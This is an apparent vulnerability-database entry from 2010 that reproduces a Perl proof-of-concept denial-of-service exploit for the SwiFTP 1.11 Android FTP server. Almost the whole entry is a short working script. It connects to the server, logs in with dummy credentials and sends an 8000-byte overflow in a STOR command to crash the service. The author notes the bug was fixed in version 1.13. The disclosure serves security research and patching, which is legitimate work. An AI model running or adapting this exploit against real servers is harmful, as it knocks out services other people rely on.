发布 2010-01-13 漏洞条目

SwiFTP 1.11 – Overflow (Denial of Service) (PoC)

Exploit Source

# Exploit Title: SwiFTP v1.11 Overflow Dos PoC

# Software Link: http://swiftp.googlecode.com/files/SwiFTP_1.11.apk

# Version: v1.11

# Tested on: Android OS G1 Rogers / Rooted (CyanogenMod-4.0.4)

#!/usr/bin/perl

############

# Simple Dos Crap for the Android app : SwiFTP Server v1.11

# by Julien Bedard

# This DoS have been patched in the new version that's why

# I'm releasing it.

# SwiFTP Server v1.11 --> Vulnerable

# SwiFTP Server v1.13 --> Patched

####################################

use IO::Socket::INET;

$overflow = 'A' x 8000;

$ftpraw=IO::Socket::INET->new("192.168.2.13:2121") or die;

print $ftpraw "user nouser\n";

print $ftpraw "pass nopass\n";

print $ftpraw "stor $overflow\n";

print $ftpraw "QUIT\n";

close $ftpraw;

相关漏洞条目